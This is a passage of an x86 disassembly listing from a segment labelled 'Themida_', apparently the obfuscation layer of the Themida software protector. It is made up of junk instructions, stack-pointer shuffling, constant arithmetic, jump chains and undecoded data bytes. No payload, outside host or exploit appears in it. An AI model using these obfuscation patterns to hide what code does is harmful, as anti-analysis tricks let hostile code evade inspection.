		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54564B:				; CODE XREF: Themida_:0054877Cj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_545A38
; ---------------------------------------------------------------------------
		db 5Ch,	21h, 4
		dd 0AFE99C24h, 0B8FFFFF4h, 4, 8158C689h, 9C2930C7h, 49E5E91Ah
		dd 65BB0000h, 0E905274Ch, 5110h, 7D3B68h, 24148900h, 4A2EE9h
		dd 7365BD00h, 0C14D48C1h, 0F58103EDh, 313914BDh, 8108EDC1h
		dd 2E2C77F5h, 0E9EA310Fh, 34ACh
; ---------------------------------------------------------------------------

loc_5456AC:				; CODE XREF: Themida_:00544C4Cj
		shr	eax, 12h
		jmp	loc_54EAB0
; ---------------------------------------------------------------------------

loc_5456B4:				; CODE XREF: Themida_:00549436j
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54D459
; ---------------------------------------------------------------------------

loc_5456D0:				; CODE XREF: Themida_:00546323j
		mov	dh, 5Ah
		dec	dh
		or	dh, 7
		add	dh, 10h
		sub	dh, 82h
		inc	dh
		jmp	loc_54DBF6
; ---------------------------------------------------------------------------
aNuhid		db '╜Uh┴D',0
		dw 8900h
		dd 0E1E92404h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5456F3:				; CODE XREF: Themida_:0054E736j
		pop	eax
		add	[esp+4], eax
		jmp	loc_54612F
; ---------------------------------------------------------------------------
		db 1, 4, 24h
aRslb		db 'RИl│',0
		align 2
		dw 0E6C0h
		dd 22C68008h, 0EE80D6F6h, 5AF32853h, 800CC380h,	83E975EBh
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54571F:				; CODE XREF: Themida_:0054DECBj
		add	esp, 4
		pop	edx
		push	eax
		mov	eax, 40B51142h
		add	eax, 0EFA0F37Fh
		sub	edx, eax
		pop	eax
		pop	eax

loc_545735:				; CODE XREF: Themida_:00545A5Ej
					; Themida_:loc_54C741j
		push	ebx
		jmp	loc_54EA92
; ---------------------------------------------------------------------------

loc_54573B:				; CODE XREF: Themida_:00547021j
		pop	eax
		xor	ebp, 2EDD58D7h
		jmp	loc_54B16E
; ---------------------------------------------------------------------------
		db 68h
		dd 1A8Ch, 0B4240489h, 2824B3A6h, 0F38058E3h, 2A5BE971h
		dd 2D580000h, 73564773h, 0A02DD8F7h, 891BB908h,	0EB8158C1h
		dd 574B104Eh, 0C381CB29h, 574B104Eh, 83240C8Bh,	5A6804C4h
		dd 8900007Bh, 0E952241Ch, 0ADB8h, 8106E1C1h, 0EA1CCBC1h
		dd 1FA56851h, 4890000h,	3E2F6824h, 31587466h, 0BA5258C1h
		dd 56B416F6h, 6EEE281h,	814A088Ah, 155B2CF2h, 0C2814228h
		dd 37D0EAECh, 5D3FE9h
		db 0
; ---------------------------------------------------------------------------

loc_5457C9:				; CODE XREF: Themida_:0054FA77j
		xor	ecx, 5611E986h
		add	eax, ecx
		pop	ecx
		jmp	loc_547697
; ---------------------------------------------------------------------------

loc_5457D7:				; CODE XREF: Themida_:0054A412j
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_54BD34
; ---------------------------------------------------------------------------
a_su		db '_ИU!',0
		db 0
; ---------------------------------------------------------------------------

loc_5457F3:				; CODE XREF: Themida_:0054C255j
		push	ecx
		push	edx
		mov	edx, 11304608h
		xor	edx, 615D6123h
		shl	edx, 2
		xor	edx, 7D990976h
		push	ebp
		mov	ebp, edx
		mov	ecx, ebp
		pop	ebp
		jmp	loc_54AD80
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 89502404h, 405E0h, 4050000h, 87000000h, 565C2404h
		dd 24348B54h, 49F1E9h, 5C73BE00h, 8AE956F6h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54583F:				; CODE XREF: Themida_:0054EEE1j
		push	edx
		jmp	loc_54ED25
; ---------------------------------------------------------------------------
		db 0B8h, 0ABh, 1
aSX1ssum	db 'А$)еX1ХИНm',0
		align 4

loc_545854:				; CODE XREF: Themida_:00547F5Fj
		add	dh, bh
		sub	dh, 0E6h
		pop	ebx
		add	al, dh
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_550CB6
; ---------------------------------------------------------------------------

loc_545868:				; CODE XREF: Themida_:00549315j
		or	ch, 69h
		inc	ch
		shr	ch, 8
		xor	ch, 86h
		jmp	loc_54ADBA
; ---------------------------------------------------------------------------
		dd 95E90389h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54587F:				; CODE XREF: Themida_:0054CF1Aj
		push	dx
		mov	dl, 6Bh
		push	eax
		mov	ah, 33h
		sub	ah, 41h
		sub	bl, ah
		jmp	loc_545614
; ---------------------------------------------------------------------------
		dd 604A34BBh, 5BDD012Dh, 0FFF6F1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54589D:				; CODE XREF: Themida_:0054D2DDj
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp

loc_5458B3:				; CODE XREF: Themida_:005455E0j
					; Themida_:loc_54F51Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54EE3C
; ---------------------------------------------------------------------------
		dw 3481h
		dd 5E621424h, 0B4DEE908h, 34FF0000h, 0A1E95824h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5458DF:				; CODE XREF: Themida_:0054CB7Bj
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		push	55B03793h
		mov	eax, [esp]
		add	esp, 4
		add	eax, 2654634Ah
		shl	eax, 5
		and	eax, 5CAF75E7h
		jmp	loc_549E86
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0E9812CDEh, 4DFFh, 0B6A8E946h, 0B9510000h, 70F708A9h
		dd 0F707E1C1h, 4EC81D9h, 89000000h, 7BF243Ch, 0E9790360h
		dd 9618h, 0FFF1D1E9h, 2C9725FFh, 822D7DD1h, 0E9680020h
		dd 3E01h, 0A8DCE953h, 0E95B0000h, 0B70h, 8D242C81h, 0E902E82Dh
		dd 945Ch, 0C1D1F75Ah, 6808E1h, 81000000h, 31B12404h, 2C815A4Bh
		dd 4E0A2324h, 409E90Ch,	0C6810000h, 4, 31243433h, 34332434h
		dd 0A7E0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54599A:				; CODE XREF: Themida_:0054C113j
		mov	ecx, 29F81F0Ch
		and	ecx, 1000674Fh
		xor	ecx, 46B625C0h
		xor	ecx, 0D234DF29h
		add	edi, ecx
		pop	ecx
		add	ebp, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0D0361FCh
		add	ecx, 3EF742ADh
		add	ecx, 50530E14h
		not	ecx
		add	ecx, 9C4DB2C2h
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		add	bl, al
		add	bl, 0CFh
		movzx	eax, al
		jmp	loc_548A85
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_54A2A4
; ---------------------------------------------------------------------------
		dd 815DEB31h, 772A9CE3h, 81DBF707h, 0B2BFB1EBh,	5BD98991h
		dd 72EABB53h, 0E95363D1h, 7012h
; ---------------------------------------------------------------------------

loc_545A38:				; CODE XREF: Themida_:00545654j
		mov	eax, 66683036h
		jmp	loc_547F87
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 0E9240C87h, 1FDAh
; ---------------------------------------------------------------------------

loc_545A50:				; CODE XREF: Themida_:0054CEDEj
		sub	ebp, edx
		pop	edx
		xor	ebp, 0EA52509Bh
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_545735
		push	6263h
		mov	[esp], edx
		jmp	loc_54830A
; ---------------------------------------------------------------------------

loc_545A71:				; CODE XREF: Themida_:005485EAj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54A0C8
; ---------------------------------------------------------------------------
aBs4S		db '│И4%Й\И(╟',0
		align 2
		dw 8B66h
		dd 5453240Ch, 4EC835Bh,	52240C89h, 0EC9E9h, 8059B200h
		dd 0CA807FEAh, 6EE28056h, 533FC280h, 58D0E9h
		db 0
; ---------------------------------------------------------------------------

loc_545AB1:				; CODE XREF: Themida_:00551187j
		push	1F705DE8h
		pop	edi
		shr	edi, 4
		push	edx
		mov	edx, 4DA02306h
		dec	edx
		xor	edx, 27604C3Ch
		xor	edi, edx
		pop	edx
		push	eax
		jmp	loc_550B49
; ---------------------------------------------------------------------------

loc_545AD0:				; CODE XREF: Themida_:0054619Cj
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ecx
		jmp	loc_550535
; ---------------------------------------------------------------------------
		dd 565FFD01h, 86211CBEh, 0DEF74E38h, 724FE681h,	0BB5354AEh
		dd 38DD4453h, 0F212EB81h, 0DE31F4B4h, 0E9F5295Bh, 7F8h
		dd 2434FF58h, 44E2685Bh, 0C890000h, 57595424h, 0C01221BFh
		dd 0D1D7F759h, 3EB850E7h, 0C1051777h, 0F9E902E0h, 1000032h
		dd 20E95AD5h, 89000050h, 56532404h, 3579B6BEh, 0CFC6814Fh
		dd 811C4505h, 7A7F81EEh, 5E5B566Bh, 0F2B1E953h,	5653FFFFh
		dd 8DFEE9h, 0E9E5D100h,	9EE0h, 5C24048Fh, 55B3BF57h, 0E7817AD0h
		dd 1705A7Ah, 8106E7C1h,	6210E5F7h, 0C0BE5643h, 4E1DDA57h
		dd 0A802E9h, 4EC8300h, 0BD242C89h, 400h, 8969E9h
		db 0
; ---------------------------------------------------------------------------

loc_545BA5:				; CODE XREF: Themida_:005471E8j
		mov	eax, 5B5033CAh
		neg	eax
		inc	eax
		sub	eax, 4680B98Eh
		mov	edi, eax
		pop	eax
		not	edi
		inc	edi
		sub	edi, 2FC3449Ah
		jmp	loc_54FE91
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFF798E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_545BC9:				; CODE XREF: Themida_:0054AE2Dj
		not	edx
		shr	edx, 6
		add	edx, 0FCDB44D7h
		mov	ebx, edx
		jmp	loc_5500FE
; ---------------------------------------------------------------------------
		db 1
		dd 3EBE56D0h, 8177217Fh, 4C113FF6h, 28ABE91Bh, 66640000h
		dd 6602B60Fh, 6645F368h, 0E9240489h, 0FFFFEF12h, 0E8B25250h
		dd 8002C280h, 0EA8075CAh, 80D2F6E1h, 0D0883CF2h, 33E1E9h
		dd 5BD82900h, 458EE9h
		db 0
; ---------------------------------------------------------------------------

loc_545C21:				; CODE XREF: Themida_:0054B484j
		shl	edi, 1
		or	edi, 35B61B17h
		inc	edi
		push	eax
		jmp	loc_54CC6E
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 4890000h,	48B5424h, 4C48324h, 405h
		dd 2C08300h, 87A68h, 241C8900h,	9B4E9h,	52E18900h, 48C6E9h
		dd 48B6600h, 8B545624h,	0C4832434h, 94BCE904h, 2C870000h
		dd 9292E924h, 1580000h,	0AEF3E9EFh, 3C8B0000h, 4C48124h
		dd 53000000h, 0B42E9h, 2434FF00h, 8124048Bh, 4C4h, 1B1B6800h
		dd 14890000h, 148B5424h, 5B545324h, 4C381h, 34E90000h
		dd 1000037h, 8CBCE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545CBE:				; CODE XREF: Themida_:0054C6D7j
		xor	ebx, [esp]
		jmp	loc_5506E9
; ---------------------------------------------------------------------------
aSJ		db '\Иэ├',0
		align 4

loc_545CCC:				; CODE XREF: Themida_:00549119j
		pop	edi
		shl	ebx, 2
		and	ebx, 538170D0h
		add	ebx, 0ED7E9FB4h
		add	esi, ebx
		jmp	loc_547182
; ---------------------------------------------------------------------------
		db 1
aSC		db 'пИЁ≈',0
		align 2
		dw 0EC83h
		dd 240C8904h, 755521B9h, 59CB3144h, 0C6E9DF01h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545CFF:				; CODE XREF: Themida_:0054FAB5j
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		jmp	loc_54F559
; ---------------------------------------------------------------------------
aXsji		db 'XИJi',0
		db 0
; ---------------------------------------------------------------------------

loc_545D1D:				; CODE XREF: Themida_:005452EAj
		push	ebx
		mov	ebx, 0C3F58173h
		xor	ebp, ebx
		pop	ebx
		add	edx, ebp
		jmp	loc_54FF99
; ---------------------------------------------------------------------------

loc_545D2D:				; CODE XREF: Themida_:00550000j
		mov	ch, 0A0h
		jmp	loc_55024E
; ---------------------------------------------------------------------------
		dd 8904EC83h, 58542404h, 405h, 0B3E5E900h, 30AC0000h, 665152D8h
		dd 0C98B050h, 0F6E624BAh, 0E9D0F6D8h, 1002h, 0E5E9FBB0h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545D63:				; CODE XREF: Themida_:005496ABj
		push	dword ptr [esp]
		jmp	loc_547363
; ---------------------------------------------------------------------------
		db 68h
		dd 6D3Ah, 54243489h, 3E5EE9h
		db 0
; ---------------------------------------------------------------------------

loc_545D79:				; CODE XREF: Themida_:00550B67j
		mov	eax, edx
		pop	edx
		push	esi
		mov	esi, 0EF728AEh
		mov	edx, esi
		pop	esi
		xor	edx, eax
		mov	eax, [esp]
		jmp	loc_54C183
; ---------------------------------------------------------------------------
		db 29h
		dd 481240Ch, 4E0A2324h,	242C810Ch, 5A4B31B1h, 94DDE9h
		dd 0EFB85000h, 0BA232C66h, 4E5C42A8h, 5158C231h, 6C1BA52h
		dd 0D1895035h, 0C1D9F75Ah, 0E18108E1h, 2A663B30h, 5365E9h
		dd 0ED40E900h, 8B5FFFFFh, 0C4832404h, 67913504h, 95A430Dh
		dd 0E9581C47h, 0FFFFED2Ah, 579FC681h, 0C8B2198h, 4C48324h
		dd 4B8C68h, 24348900h, 42474FFh, 24048F5Eh, 240CD25Ch
		dd 0ED04E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_545E0E:				; CODE XREF: Themida_:0054A0F7j
		xor	dh, 1
		jmp	loc_549608
; ---------------------------------------------------------------------------
		dw 6853h
		dd 40A7592Dh, 5B1CB85Bh, 0D829439Dh, 25D8F75Bh,	68020958h
		dd 8E7DE9h
		db 0
; ---------------------------------------------------------------------------

loc_545E31:				; CODE XREF: Themida_:0054AEFFj
		or	eax, 22567B0Bh
		dec	eax
		jmp	loc_54CE77
; ---------------------------------------------------------------------------

loc_545E3C:				; CODE XREF: Themida_:00546189j
		mov	eax, [esp]
		push	edi
		jmp	loc_550370
; ---------------------------------------------------------------------------

loc_545E45:				; CODE XREF: Themida_:0054D536j
		add	eax, edi
		add	eax, 25E614DEh
		pop	edi
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_54B51E
; ---------------------------------------------------------------------------
aUstk		db '^UИt┼',0
		db 0
; ---------------------------------------------------------------------------

loc_545E63:				; CODE XREF: Themida_:00547C40j
		push	ecx
		push	27C050D2h
		pop	ecx
		jmp	loc_54EF12
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 689Bh, 54240489h,	9464E9h, 34FF5400h, 2D04E924h
		dd 248B0000h, 890FE924h, 0F4BD0000h, 0C1297D46h, 0ED8105E5h
		dd 0C046D501h, 96E95155h, 0F700008Eh, 315B2414h, 5724E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545EB2:				; CODE XREF: Themida_:0054C73Cj
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 87h
		dd 96EE81CEh, 1121369h,	0EF835EF7h, 243C3304h, 33243C31h
		dd 248B243Ch, 24148924h, 37E99C50h, 46FFFFECh, 29C681h
		dd 0F389363Fh, 1024E9h,	48F5F00h, 2EC9E924h, 0C5830000h
		dd 242C3304h, 33242C31h, 248B242Ch, 2434FF24h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54D7F7
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 4, 52BDB850h, 0BC0D51E3h, 0D15A6631h, 1BDE9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545F2E:				; CODE XREF: Themida_:00547E81j
		add	edx, esi
		pop	esi
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_54FA5D
; ---------------------------------------------------------------------------
		dw 48Bh
aSep		db '$Иep',0
		align 2
		dw 0E95Bh
		dd 451Dh, 240C8B66h, 7EE768h, 1560E900h, 0FB890000h, 2434FF5Fh
		dd 4AFFE9h, 66AD6600h, 9B5CE952h, 0BB680000h, 89000020h
		dd 5253243Ch, 823CB8BAh, 5AD3897Ch, 0F381DBF7h,	692EE4h
		dd 0EDA8F381h, 5F538314h, 0FFFA015Bh, 3C8B2434h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 8704C483h, 20E92414h, 50000040h
		dd 0FFEEFBE9h, 0DAC681FFh, 810C793Ch, 0F760D6EEh, 5EF32994h
		dd 2F8B6866h, 240C8966h, 0C033B753h, 38E902EFh,	0BF00008Dh
		dd 35659188h, 34FFF801h, 845FE924h, 3C890000h, 81E78924h
		dd 4C7h, 7AC5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545FFE:				; CODE XREF: Themida_:00546D1Bj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_54C3DF
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 2121E9h
		db 0
; ---------------------------------------------------------------------------

loc_546025:				; CODE XREF: Themida_:0054AE4Ej
		pop	ebp
		sub	ebp, 0ACD7EC5h
		push	ebx
		mov	ebx, 4D8F6771h
		push	esi
		jmp	loc_54C329
; ---------------------------------------------------------------------------

loc_546038:				; CODE XREF: Themida_:00549B50j
		mov	edx, 74B5C42h
		xor	ebx, edx
		jmp	loc_54AE8E
; ---------------------------------------------------------------------------
		dd 6659E830h, 6631C568h, 0B5240C89h, 0E9EB28CFh, 9133h
; ---------------------------------------------------------------------------

loc_546058:				; CODE XREF: Themida_:00548C36j
		add	edx, 4
		jmp	loc_5506FA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83592434h, 26E904C4h, 0AC000094h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54EA40
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 47D3E9h
		db 0
; ---------------------------------------------------------------------------

loc_54608D:				; CODE XREF: Themida_:00544CBBj
		not	edx
		push	2630h
		jmp	loc_54CED3
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4Fh
		dd 0C110345Ch, 7BE907E3h, 6800002Bh, 3AF3h, 0E9241C89h
		dd 4363h, 242C335Ah, 1669E9h, 0E9D52900h, 1FD6h, 0CC2055Fh
		dd 0D82918B4h, 0B40CC22Dh, 2434FF18h, 83241C8Bh, 0C48304C4h
		dd 4EC8104h, 89000000h,	0FBE9242Ch, 0D00002Dh, 771378A6h
		dd 716FE9h, 2DD80100h, 36117417h, 7E703C2Dh, 0E7895749h
		dd 4C781h, 0EC810000h, 4, 0B8240489h, 17D54969h, 0D549652Dh
		dd 58C72917h, 0E9243C87h, 67FFh
; ---------------------------------------------------------------------------

loc_546128:				; CODE XREF: Themida_:0054C95Aj
		mov	ebx, edi
		jmp	loc_54CE4A
; ---------------------------------------------------------------------------

loc_54612F:				; CODE XREF: Themida_:005456F8j
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 18377FA7h
		shr	edi, 6
		add	edi, 690A294Ah
		sub	eax, 496623A7h
		sub	eax, edi
		add	eax, 496623A7h
		push	dword ptr [esp]
		jmp	loc_54BAB6
; ---------------------------------------------------------------------------
		dd 150B68h, 48F5400h, 3E685624h, 89000068h, 21E9242Ch
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_546173:				; CODE XREF: Themida_:0054A68Dj
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		push	327Bh
		mov	[esp], eax
		push	5D4Ah
		mov	[esp], ecx
		jmp	loc_545E3C
; ---------------------------------------------------------------------------

loc_54618E:				; CODE XREF: Themida_:0054F69Cj
		xor	ecx, edi
		jmp	loc_546378
; ---------------------------------------------------------------------------

loc_546195:				; CODE XREF: Themida_:00550379j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_545AD0
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aLFSvl		db '▀$$fс$$°И╒L',0
		db 0
; ---------------------------------------------------------------------------

loc_5461B1:				; CODE XREF: Themida_:0054B738j
		push	0
		pop	ecx
		jmp	loc_54C86C
; ---------------------------------------------------------------------------

loc_5461BC:				; CODE XREF: Themida_:005485A5j
		sub	eax, 5E9D3922h
		sub	esi, eax
		pop	eax
		not	esi
		push	edi
		mov	edi, 0D24EBF68h
		sub	esi, edi
		pop	edi
		sub	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 0FD6D14EFh
		xor	ebp, ecx
		jmp	loc_54AFD9
; ---------------------------------------------------------------------------
aQiIS		db 'Q┬я┬оИ╟:',0
		db 0
; ---------------------------------------------------------------------------

loc_5461E9:				; CODE XREF: Themida_:0054DDFAj
		push	esi
		push	edx
		mov	edx, 1D925525h
		mov	esi, 39BE8B30h
		xor	esi, edx
		jmp	loc_5478C7
; ---------------------------------------------------------------------------

loc_5461FC:				; CODE XREF: Themida_:0054A6A8j
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_546A66
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 4, 4EB81h, 1C330000h, 241C3124h, 5223E9h, 4C48100h
		dd 0E9000000h, 0FFFFEF6Eh, 0E904C483h, 9E4Eh, 77D9F181h
		dd 0CD0901CDh, 8CC58159h, 0E9440280h, 7FCFh, 4C4815Bh
		dd 0C1000000h, 814A05E2h, 46C2DDF2h, 2EACE978h,	0E95D0000h
		dd 656Fh, 0D2F7D2F7h, 81DAF74Ah, 0B9A8B7F2h, 8BF231D1h
		dd 0E9522434h, 23B7h, 891C94BFh, 0F8895051h, 242C8150h
		dd 167D5F71h, 5D48E9h, 4C18100h, 83000000h, 0C8704C1h
		dd 0EEE95C24h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5462B7:				; CODE XREF: Themida_:00548A58j
		push	esp
		jmp	loc_54CC2F
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 4C2815Ah,	81000000h, 4C2h, 24148700h, 8AB9515Ch
		dd 8173F466h, 7349EAF1h, 8E9C154h, 7982F181h, 1DE94B58h
		dd 8700007Eh, 835C241Ch, 5AE904ECh, 6800000Dh, 5DE2h, 1922E9h
		db 0
; ---------------------------------------------------------------------------

loc_546305:				; CODE XREF: Themida_:00550B20j
		pop	ebp
		push	esi
		jmp	loc_54D7AE
; ---------------------------------------------------------------------------
aZLISt		db '^┤,$▀$$┴,$ИБ',1Bh,0
		db 0
; ---------------------------------------------------------------------------

loc_54631B:				; CODE XREF: Themida_:0054EC0Ej
		push	617Fh
		mov	[esp], edx
		jmp	loc_5456D0
; ---------------------------------------------------------------------------
		dd 2783EA81h, 59E91BDEh, 68FFFFEFh, 6F84h, 89241489h, 4C281E2h
		dd 83000000h, 143304C2h, 24143124h, 8B241433h, 34FF2424h
		dd 9D685824h, 8900007Fh, 8B54240Ch, 0C481240Ch,	4, 0FFFC4AE9h
		dd 4EC83FFh, 0E9240489h, 42F8h
; ---------------------------------------------------------------------------

loc_546378:				; CODE XREF: Themida_:00546190j
		pop	edi
		jmp	loc_54E869
; ---------------------------------------------------------------------------
		dw 32FFh
		dd 0FFE78DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_546385:				; CODE XREF: Themida_:0054B1EAj
		mov	esi, [esp]
		add	esp, 4
		push	0D4Ah
		mov	[esp], ecx
		mov	ecx, 1FEF07C4h
		shl	ecx, 7
		xor	ecx, 9E9F8F32h
		xor	esi, ecx
		pop	ecx
		mov	edi, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_549E74
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 0D2F7D2F7h, 2E8CE9h
		db 0
; ---------------------------------------------------------------------------

loc_5463BD:				; CODE XREF: Themida_:00549857j
		sub	edi, 0ABEEA8FFh
		push	edi
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54818B
; ---------------------------------------------------------------------------
		db 0BFh
		dd 3C162064h, 1251C781h, 0C781342Dh, 0B5894456h, 86E9F801h
		dd 66000015h, 0E9241489h, 42A5h, 0FF2434FFh, 48B2434h
		dd 4C48324h, 451F6855h,	24890000h, 24048124h, 4, 0FFEA63E9h
		dd 88E952FFh, 83000017h, 665804C4h, 50241C8Bh, 0B9E9E089h
		dd 890000AAh, 5EB62414h, 0F311E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546436:				; CODE XREF: Themida_:0054B249j
		inc	dword ptr [esp]
		pushf
		jmp	loc_54BE57
; ---------------------------------------------------------------------------
		db 54h
		dd 0BE56575Dh, 69EF4576h, 565EF789h, 0F27F6CBEh, 0A108E900h
		dd 34FF0000h, 0C4815A24h, 4, 15006866h,	240C8966h, 78036866h
		dd 24148966h, 3138E9h, 240C8B00h, 4C481h, 15D0000h, 0DEE95FFDh
		dd 0AD00007Dh, 48308E05h, 0ACDEE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546492:				; CODE XREF: Themida_:0054C848j
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54E5E1
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 15A16561h, 14A8C581h, 0C58157CDh, 225D385Eh,	0ED81FD01h
		dd 225D385Eh, 14A8ED81h, 0ED8157CDh, 15A16561h,	0E9243C8Bh
		dd 3694h, 1B50130Dh, 0C9BE90Dh,	0B3680000h, 591C9C3Bh
		dd 4920E9h, 2038B300h, 0FE5B66D9h, 78C180C1h, 0B7E9CF00h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5464F3:				; CODE XREF: Themida_:0054FEE0j
		pop	ebp
		movzx	ax, byte ptr [eax]
		push	ebx
		mov	ebx, esp
		push	53F5h
		mov	[esp], edi
		jmp	loc_54940B
; ---------------------------------------------------------------------------
		dd 5758C729h, 42474FFh,	0FFF9D4E9h, 81E789FFh, 4C7h, 4C78300h
		dd 2474FF57h, 48F5F04h,	0E9515C24h, 5A3Eh, 243C3166h, 56665766h
		dd 243C8B66h, 6602C483h, 2EC815Eh, 66000000h, 66243489h
		dd 66243C87h, 5766D7F7h, 2474FF66h, 0EA1BE902h,	9268FFFFh
		dd 89000005h, 67E92434h, 0D1FFFFE8h, 3EBC1E3h, 5C68DBF7h
		dd 89000069h, 31BD242Ch, 811AC028h, 275EBEF5h, 5DEB29F8h
		dd 15BDD29h, 0EA835DEAh, 9431E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546596:				; CODE XREF: Themida_:00550B53j
		inc	eax
		xor	eax, 6734279Bh
		xor	eax, 786B7872h
		jmp	loc_54DDFF
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 3B5F1FC5h, 709DE781h, 0E7C12A98h, 2AE1E903h,	0C2810000h
		dd 4, 6F0AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5465C5:				; CODE XREF: Themida_:0054934Aj
		xor	edi, 132829ADh
		sub	ebx, edi
		jmp	loc_544DAC
; ---------------------------------------------------------------------------
		dw 0FB01h
		dd 0ED39E95Fh, 665BFFFFh, 14F76655h, 4B9AE924h,	34330000h
		dd 24343124h, 5C243433h, 0A6E9E9h, 81E58100h, 81286977h
		dd 60F0B7EDh, 0ED814DC2h, 5DC07345h, 65CFE9h, 81E38900h
		dd 4C3h, 4EB8300h, 8B241C87h, 4892424h,	2474FF24h, 2434FF04h
		dd 3BE5E9h, 0E2055F00h,	2D634459h, 8F74B3FCh, 158C729h
		dd 8874E9F8h, 74FF0000h, 8F5B0424h, 248B2404h, 24148924h
		dd 4BAh, 0E2C38100h, 14FC95Fh, 0E2EB81D3h, 5A4FC95Fh, 2C381h
		dd 1C870000h, 0E1F65C24h, 0CCB60F66h, 6ED9E9h, 241C8900h
		dd 3D3B68h, 24248900h, 4240481h, 8B000000h, 0C483241Ch
		dd 4BF5704h, 81000000h,	1218C4C3h, 81FB010Bh, 1218C4EBh
		dd 243C8B0Bh, 4C481h, 0EC830000h, 24148904h, 2BAh, 5AD32900h
		dd 31241C33h, 1C33241Ch, 89665C24h, 50662414h, 0E440E99Ch
		dd 0E950FFFFh, 854Ah, 0A73E69BDh, 4EDC149h, 3057E9h
		db 0
; ---------------------------------------------------------------------------

loc_5466E5:				; CODE XREF: Themida_:00549582j
